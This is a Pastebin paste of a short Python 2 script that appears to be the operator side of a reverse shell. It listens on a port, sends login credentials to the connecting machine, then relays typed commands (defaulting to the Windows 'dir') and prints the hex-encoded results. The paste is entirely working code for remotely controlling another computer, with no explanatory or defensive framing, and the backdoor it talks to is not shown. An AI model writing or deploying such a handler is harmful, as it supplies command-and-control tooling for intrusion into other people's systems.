Advertisement
Guest User

Untitled

a guest
Sep 9th, 2011
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.68 KB | None | 0 0
  1. import socket,re,sys,hashlib,base64
  2.  
  3. host = ""
  4. port = int(sys.argv[1])
  5.  
  6. sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  7. sock.bind((host,port))
  8. sock.listen(1)
  9.  
  10. print 'Listening on port',str(port),'for incoming connections!'
  11.  
  12. client,addr = sock.accept()
  13.  
  14. print 'Connection established by',addr[0],'on port',addr[1]
  15. print client.recv(1024)
  16. usr = raw_input("Login>")
  17. client.send(base64.b64encode(usr))
  18.  
  19.  
  20. print client.recv(1024)
  21. pwd = raw_input("Login>")
  22. client.send(base64.b64encode(pwd))
  23.  
  24. print client.recv(1024)
  25.  
  26. while 1:
  27.   cmd = raw_input("\nShell>")
  28.   if not cmd: cmd = "dir"
  29.   client.send(cmd)
  30.   cmd = client.recv(20000)
  31.   print cmd.decode("hex")
  32. print 'close'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement